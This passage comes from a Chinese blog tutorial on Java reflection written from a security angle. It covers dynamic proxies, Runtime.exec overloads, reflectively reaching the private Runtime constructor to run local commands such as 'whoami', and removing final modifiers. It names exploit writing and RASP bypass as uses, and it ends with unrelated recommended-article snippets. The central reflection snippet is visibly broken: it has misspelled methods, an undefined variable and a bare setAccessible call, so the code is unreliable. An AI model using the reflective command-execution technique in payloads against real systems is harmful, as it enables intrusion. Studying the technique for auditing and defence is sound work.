         Subject sub = (Subject) demo.bind( new  RealSubject());
         String info = sub.say( "Rollen" ,  20 );
         System.out.println(info);
     }
}

例:

package com.zcbq.proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class MyInvocationHander implements InvocationHandler {
    
    private Object target;

    public MyInvocationHander() {
    
        super();
    }

    public MyInvocationHander(Object target) {
    
        super();
        this.target = target;
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    
        // TODO Auto-generated method stub
        System.err.println("开始");
        method.invoke(target, args); //执行被代理的target对象的方法
        System.out.println("结束");
       return null;
    }

}
Student student = new StuImp();
MyInvocationHander m = new MyInvocationHander(student);
/**
* student.getClass().getClassLoader():类加载器
* student.getClass().getInterfaces():被代理对象的接口
* m:代理对象
*/
Student s = (Student) Proxy.newProxyInstance(student.getClass().getClassLoader(), 
student.getClass().getInterfaces(), m);
s.login();
s.logout();

:newProxyInstance的三个参数,第一个,类加载器,第二个被代理对象的接口,第三个代理对象

0x04 反射的优缺点

  • 优点

在运行时获得类的各种内容,进行反编译,对于Java这种先编译再运行的语言,能够让我们很方便的创建灵活的代码,这些代码可以在运行时装配,无需在组件之间进行源代码的链接,更加容易实现面向对象。

缺点:

  • 反射会消耗一定的系统资源,因此,如果不需要动态地创建一个对象,那么就不需要用反射
  • 反射调用方法时可以忽略权限检查,因此可能会破坏封装性而导致安全问题

0x05 反射机制的应用场景

  • 逆向代码,例如反编译
  • 与注解相结合的框架,例如Retrofit
  • 单纯的反射机制应用框架,例如EventBus 2.x
  • 动态生成类框架,例如Gson

0x06 反射java.lang.Runtime

java.lang.Runtime 因为有一个exec方法可以执行命令,所以在很多的payload中我们都可以看到反射调用Runtime类来执行本地系统命令,通过学习如何反射Runtime类也能让我们理解反射的一些基础用法以及一些攻击手法

java.lang.Runtime 当程序运行时,每个java应用程序都能得到一个运行时的实例,应用程序不能创建这个实例,只能从getRuntime()方法获得RunTime实例

在java.lang.Runtime()中存在多个重载的exec()方法,如下所示:

public Process exec(String command) 
public Process exec(String command, String[] envp) 
public Process exec(String command, String[] envp, File dir) 
public Process exec(String cmdarray[]) 
public Process exec(String[] cmdarray, String[] envp) 
public Process exec(String[] cmdarray, String[] envp, File dir)
public Process exec(String command) throws IOException {
    
        return exec(command, null, null);
}

public Process exec(String command, String[] envp) throws IOException {
    
        return exec(command, envp, null);
}

public Process exec(String command, String[] envp, File dir)
        throws IOException {
    
        if (command.length() == 0)
            throw new IllegalArgumentException("Empty command");

        StringTokenizer st = new StringTokenizer(command);
        String[] cmdarray = new String[st.countTokens()];
        for (int i = 0; st.hasMoreTokens(); i++)
            cmdarray[i] = st.nextToken();
        return exec(cmdarray, envp, dir);
}

public Process exec(String cmdarray[]) throws IOException {
    
        return exec(cmdarray, null, null);
}

public Process exec(String[] cmdarray, String[] envp) throws IOException {
    
        return exec(cmdarray, envp, null);
}

public Process exec(String[] cmdarray, String[] envp, File dir)
        throws IOException {
    
        return new ProcessBuilder(cmdarray)
            .environment(envp)
            .directory(dir)
            .start();
}

从上面可以看出,不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)

除了常见的exec(String command) exec(String cmdarray[]) ,其他exec()都增加了envp和File这些限制。虽然如此,但是最终都是调用相同的方法,本质没有却区别。这些函数存在的意义可以简要地参考调用java.lang.Runtime.exec 的正确姿势分析exec(String cmdarray[]) exec(String command)

// exec(String command) 函数
public Process exec(String command) throws IOException {
    
    return exec(command, null, null);
}
...
public Process exec(String command, String[] envp, File dir)
    throws IOException {
    
    if (command.length() == 0)
        throw new IllegalArgumentException("Empty command");

    StringTokenizer st = new StringTokenizer(command);
    String[] cmdarray = new String[st.countTokens()];
    for (int i = 0; st.hasMoreTokens(); i++)
        cmdarray[i] = st.nextToken();
    return exec(cmdarray, envp, dir);
}
...
// exec(String cmdarray[])
public Process exec(String cmdarray[]) throws IOException {
    
    return exec(cmdarray, null, null);
}

首先来看调用的 exec(String command) ,它经过 exec(String command, String[] envp, File dir) 函数里StringTokenizer 通过分割符进行分割。java 默认的分隔符是空格(“”)、制表符(\t)、换行符(\n)、回车符(\r) 。最后存入字符串数组,再传入执行函数。而它的底层也是调用的 ProcessBuilder 创建进程,而 array[0] 其实就是进程位置

不使用反射执行本地命令代码片段:

// 输出命令执行结果
System.out.println(IOUtils.toString(Runtime.getRuntime().exec("whoami").getInputStream(), "UTF-8"));

如上代码,使用一行代码完成本地命令执行操作,但是如果使用反射就会比较麻烦了,我们不得不需要间接性的调用Runtime的exec方法

反射Runtime执行本地命令代码片段:

//获取Runtime类对象
Class runtimeClass1 = Class.forname("java.lang.Runtime");
//获取构造方法
Constructor constructor = runtimeClass1.getDeclaredConstructor();
//如果方法是 private修饰的,当你用反射去访问的时候
//setAccessible(true); 之后 才能访问
setAccessible(true);
//创建Runtime类实例,等价于Runtime rt=new Runtime();
object runtimeInstance=constructor.newInstance();
//获取Runtime的exec(string cmd)方法
//getMethod 系列方法获取的是当前类中所有公共方法,包括从父类继承的方法
//getDeclaredMethod 系列方法获取的是当前类中“声明”的方法,是实在写在这个类里的,包括私有的方法,但从父类里继承来的就不包含了
Method runtimeMethod = runtimeClass1.getMethod("exec",String.class);
//调用exec方法,等价于exec(String cmd)方法
//method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);
Process runtimeMethod = (Process) runtimeMethod.invoke(runtimeInstance,cmd);
//获取命令执行结果
InputStream in = process.getInputStream();
//输出命令执行结果
System.out.println(IOUtiles.tostring(in,"UTF-8"));

反射调用Runtime实现本地命令执行的流程如下:

  • 反射获取Runtime类对象(Class.forName("java.lang.Runtime"))
  • 使用Runtime类的Class对象获取Runtime类的无参数构造方法(getDeclaredConstructor()) ,因为Runtime的构造方法是private的我们无法直接调用,所以我们需要通过反射去修改方法的访问权限(constructor.setAccessible(true))
  • 获取Runtime类的exec(String)方法(runtimeClass1.getMethod("exec", String.class);)
  • 调用exec(String)方法(runtimeMethod.invoke(runtimeInstance, cmd))

0x07 反射创建类实例

在Java的任何一个类都必须有一个或多个构造方法,如果代码中没有创建构造方法那么在类编译的时候会自动创建一个无参数的构造方法。

Runtime类构造方法示例代码片段:

public class Runtime {
    

   /** Don't let anyone else instantiate this class */
  private Runtime() {
    }

}

从上面的Runtime类代码注释我们看到它本身是不希望除了其自身的任何人去创建该类实例的,因为这是一个私有的类构造方法,所以没办法new一个Runtime类实例即不能使用Runtime rt = new Runtime(); 的方式创建Runtime对象,但示例中借助了反射机制,修改了方法访问权限从而间接的创建出了Runtime对象
runtimeClass1.getDeclaredConstructor和runtimeClass1.getConstructor 都可以获取到类构造方法,区别在于后者无法获取到私有方法,所以一般在获取某个类的构造方法时会使用前者去获取构造方法。如果构造方法有一个或多个参数的情况下,应该在获取构造方法时候传入对应的参数类型数组,如:

clazz.getDeclaredConstructor(String.class, String.class) 

如果想获取类的所有构造方法可以使用:

clazz.getDeclaredConstructors 

来获取一个Constructor数组,获取到Constructor以后可以通过constructor.newInstance() 来创建类实例,同理如果有参数的情况下我们应该传入对应的参数值,如:

constructor.newInstance("admin", "123456")

当没有访问构造方法权限时应该调用

constructor.setAccessible(true) 

修改访问权限就可以成功的创建出类实例了

0x08 反射调用类方法

Class对象提供了一个获取某个类的所有的成员方法的方法,也可以通过方法名和方法参数类型来获取指定成员方法。

获取当前类所有的成员方法:

Method[] methods = clazz.getDeclaredMethods()

获取当前类指定的成员方法:

Method method = clazz.getDeclaredMethod("方法名");
Method method = clazz.getDeclaredMethod("方法名", 参数类型如String.class,多个参数用","号隔开);

getMethod和getDeclaredMethod都能够获取到类成员方法,区别在于getMethod只能获取到当前类和父类的所有有权限的方法(如:public),而getDeclaredMethod能获取到当前类的所有成员方法(不包含父类)

8.1 反射调用方法

获取到java.lang.reflect.Method 对象以后我们可以通过Method的invoke方法来调用类方法。

调用类方法代码片段:

method.invoke(方法实例对象, 方法参数值,多个参数值用","隔开);

method.invoke的第一个参数必须是类实例对象,如果调用的是static方法那么第一个参数值可以传null,因为在java中调用静态方法是不需要有类实例的,因为可以直接类名.方法名(参数)的方式调用

method.invoke的第二个参数不是必须的,如果当前调用的方法没有参数,那么第二个参数可以不传,如果有参数那么就必须严格的依次传入对应的参数类型

8.2 反射调用成员变量

Java反射不但可以获取类所有的成员变量名称,还可以无视权限修饰符实现修改对应的值。

获取当前类的所有成员变量:

Field fields = clazz.getDeclaredFields();

获取当前类指定的成员变量:

Field field  = clazz.getDeclaredField("变量名");

getField和getDeclaredField的区别同getMethod和getDeclaredMethod。

获取成员变量值:

Object obj = field.get(类实例对象);

修改成员变量值:

field.set(类实例对象, 修改后的值);

同理,当没有修改的成员变量权限时可以使用:field.setAccessible(true)的方式修改为访问成员变量访问权限。

如果需要修改被final关键字修饰的成员变量,需要先修改方法

// 反射获取Field类的modifiers
Field modifiers = field.getClass().getDeclaredField("modifiers");

// 设置modifiers修改权限
modifiers.setAccessible(true);

// 修改成员变量的Field对象的modifiers值
modifiers.setInt(field, field.getModifiers() & ~Modifier.FINAL);

// 修改成员变量值
field.set(类实例对象, 修改后的值);

0x09 总结

Java反射机制是Java动态性中最为重要的体现,没有方法可以获取当前类的超类的private的方法和属性,就必须通过getSupperclass()方法找到超类之后再去尝试获得
通常情况即使是当前类,private属性或方法是不能访问的,需要设置压制权限setAccessible(true)来取得private的访问权。但是需要注意,这已经破坏了java面向对象的封装性规则,所以要谨慎使,但利用反射机制可以轻松的实现Java类的动态调用。Java的大部分框架都是采用了反射机制来实现的(如:Spring MVC、ORM框架等),Java反射在编写漏洞利用代码、代码审计、绕过RASP方法限制等中起到了至关重要的作用

  • Class类提供了四个public方法,用于获取某个类的构造方法
Constructor getConstructor(Class[] params)     根据构造函数的参数,返回一个具体的具有public属性的构造函数
Constructor getConstructors()     返回所有具有public属性的构造函数数组
Constructor getDeclaredConstructor(Class[] params)     根据构造函数的参数,返回一个具体的构造函数(不分public和非public属性)
Constructor getDeclaredConstructors()    返回该类中所有的构造函数数组(不分public和非public属性)
  • 四种获取成员方法的方法
Method getMethod(String name, Class[] params)    根据方法名和参数,返回一个具体的具有public属性的方法
Method[] getMethods()    返回所有具有public属性的方法数组
Method getDeclaredMethod(String name, Class[] params)    根据方法名和参数,返回一个具体的方法(不分public和非public属性)
Method[] getDeclaredMethods()    返回该类中的所有的方法数组(不分public和非public属性)
  • 四种获取成员属性的方法
Field getField(String name)    根据变量名,返回一个具体的具有public属性的成员变量
Field[] getFields()    返回具有public属性的成员变量的数组
Field getDeclaredField(String name)    根据变量名,返回一个成员变量(不分public和非public属性)
Field[] getDelcaredField()    返回所有成员变量组成的数组(不分public和非public属性)

参考链接

https://www.cnblogs.com/myRichard/p/11742194.html

https://blog.csdn.net/a745233700/article/details/82893076

https://www.jianshu.com/p/6277c1f9f48d

https://www.cnblogs.com/s1awwhy/p/13725493.html

https://www.cnblogs.com/BOHB-yunying/p/15523680.html

https://www.jianshu.com/p/ae3922db1f70


你以为你有很多路可以选择,其实你只有一条路可以走


版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/Ananas_Orangey/article/details/127676456

智能推荐

network.service - LSB: Bring up/down networking_network.service - lsb: bring up/down networking lo-程序员宅基地

文章浏览阅读3.1k次,点赞11次,收藏14次。CentOS7突然连接不了网络,使用systemctl status network后报如下错误network.service - LSB: Bring up/down networkingLoaded: loaded (/etc/rc.d/init.d/network; bad; vendor preset: disabled)Active: failed (Result: exit-code)【解决方案】停止NetworkManager并取消开机启动chkconfig NetworkMan_network.service - lsb: bring up/down networking loaded: loaded (/etc/rc.d/in

GitHub上10个有趣的开源小游戏(附加在线演示)_github开源小游戏-程序员宅基地

文章浏览阅读4.9w次,点赞312次,收藏1.3k次。前言GitHub作为程序员们的开源宝库,有着很多非常好的项目。对于初学者来说,游戏有着一种特殊的魅力。今天统计了GitHub上比较有趣的10个开源小游戏,其中有许多可以称之为经典。笔者是一名90后,《贪吃蛇》、《坦克大战》、《超级马里奥》和《太空侵略者》作为儿时的玩伴,陪伴笔者度过了很多时光,给笔者带来了非常多的回忆。1、Pacman(吃豆人游戏)项目演示地址: https://passe..._github开源小游戏

Java数据结构和算法(十二)——2-3-4树,java面试题,java高级笔试题_树查找 java 笔试题-程序员宅基地

文章浏览阅读210次。写在最前面,我总结出了很多互联网公司的面试题及答案,并整理成了文档,以及各种学习的进阶学习资料,免费分享给大家。扫码加微信好友进【程序员面试学习交流群】,免费领取。也欢迎各位一起在群里探讨技术。通过前面的介绍,我们知道在二叉树中,每个节点只有一个数据项,最多有两个子节点。如果允许每个节点可以有更多的数据项和更多的子节点,就是多叉树。本篇博客我们将介绍的——2-3-4树,它是一种多叉树,..._树查找 java 笔试题

金融语言模型:FinGPT-程序员宅基地

文章浏览阅读3k次。FinGPT是一个开源的金融语言模型(LLMs),由FinNLP项目提供。这个项目让对金融领域的自然语言处理(NLP)感兴趣的人们有了一个可以自由尝试的平台,并提供了一个与专有模型相比更容易获取的金融数据。FinGPT使用RLHF方法进行个性化的金融语言建模,这与BloombergGPT的方法不同。它采用了一种轻量级的低秩适应技术,使得微调模型变得更简单和经济。FinGPT项目为金融领域的自然语言处理开创了新的可能,它的开源性质能推动这个领域的进步和创新。_fingpt

java.util.concurrent.atomic原子操作类-程序员宅基地

文章浏览阅读833次。java.util.concurrent.atomic原子操作类java原子操作类1.原子操作类2.AtomicInteger的基本方法2.1 创建一个不传值的,默认值为02.2 获取和赋值2.3 compareAndSet方法2.4 getAndAdd、AddAndGet、getAndDecrement和DecrementAndGet3.多线程测试4.AtomicReference详解5.CAS可能存在ABA的问题5.1 AtomicStampedReference原理5.2 AtomicMarkable_java.util.concurrent.atomic

C语言--第0次作业-程序员宅基地

文章浏览阅读51次。1.你认为大学的学习生活、同学关系、师生应该是怎样?请一个个展开描写。学习生活:自由但并不散漫大学的学习生活与以往的学习生活有很大的差别。大学的学习生活要自由得多,没有老师或是班干部紧跟在我身后提醒我,督促我。这有好处也有坏处,好处是我能有更多的时间安排我自己的学习方向,能有更多时间思考我的学习目的。坏处则是容易滋生懒惰的心理,大学的学习生活中,最为可怕的就是被懒惰击败。我们可以..._编程比赛对于学生在计算机科学专业中形成良好的氛围起着非常重要的作用。你知道,

随便推点

jpa mysql分页_Spring Boot之JPA分页-程序员宅基地

文章浏览阅读141次。JPA分页​当请求的数据总量很大时,这时候前端往往都会要求后端将数据分页返回。本文介绍SpringBoot下后端数据层使用JPA+MySQL时,如何分页返回数据(除了当前页面的数据,往往还要返回总页数这项数据)。一、从头到尾自己实现分页:Controller层:使用@RequestParam绑定page和pageSize参数,调用ServiceService层:接收page、pageSize参数,..._jpa mysql limit 分页

win10打印图片中间空白以及选择打印机预览重启_win10更新后打印图片中间空白-程序员宅基地

文章浏览阅读7.6k次。当月10号左右大量windows10系统发现打印照片时只能打印出头和尾,如下还有没开始打印,一选择打印机电脑就重启,是因为微软发布的新补丁不兼容,卸载最近更新的补丁即可(不同系统版本补丁编号是不一样的,看最近日期就行了)打开控制面板-卸载程序查看已安装的更新按时间排序双击卸载最新的补丁重启即可..._win10更新后打印图片中间空白

【加密】SHA256加盐加密_sha256随机盐加密-程序员宅基地

文章浏览阅读2.4k次。SaltUtil 类 private final String algorithmName = "SHA-256"; private final int hashIterations = 10000; private static RandomNumberGenerator randomNumberGenerator = new SecureRandomNumberGenerator(); //默认16位……//方法中调用// 生成salt model.se_sha256随机盐加密

cordys 启动流程_cordys服务重启-程序员宅基地

文章浏览阅读763次。启动操作js ://--by wallvar startReq=BPMStartXml.XMLDocument;cordys.setNodeText(startReq,".//*[local-name()='BusinessID']",pursh_id.getValue());cordys.setNodeText(startReq,".//*[local-name()_cordys服务重启

net中 DLL、GAC-程序员宅基地

文章浏览阅读93次。为什么80%的码农都做不了架构师?>>> ..._.net dll gac

(一看就会)Visual Studio设置字体大小_visual studio怎么调整字体大小-程序员宅基地

文章浏览阅读4.7k次,点赞3次,收藏6次。点击工具,选择 选项。_visual studio怎么调整字体大小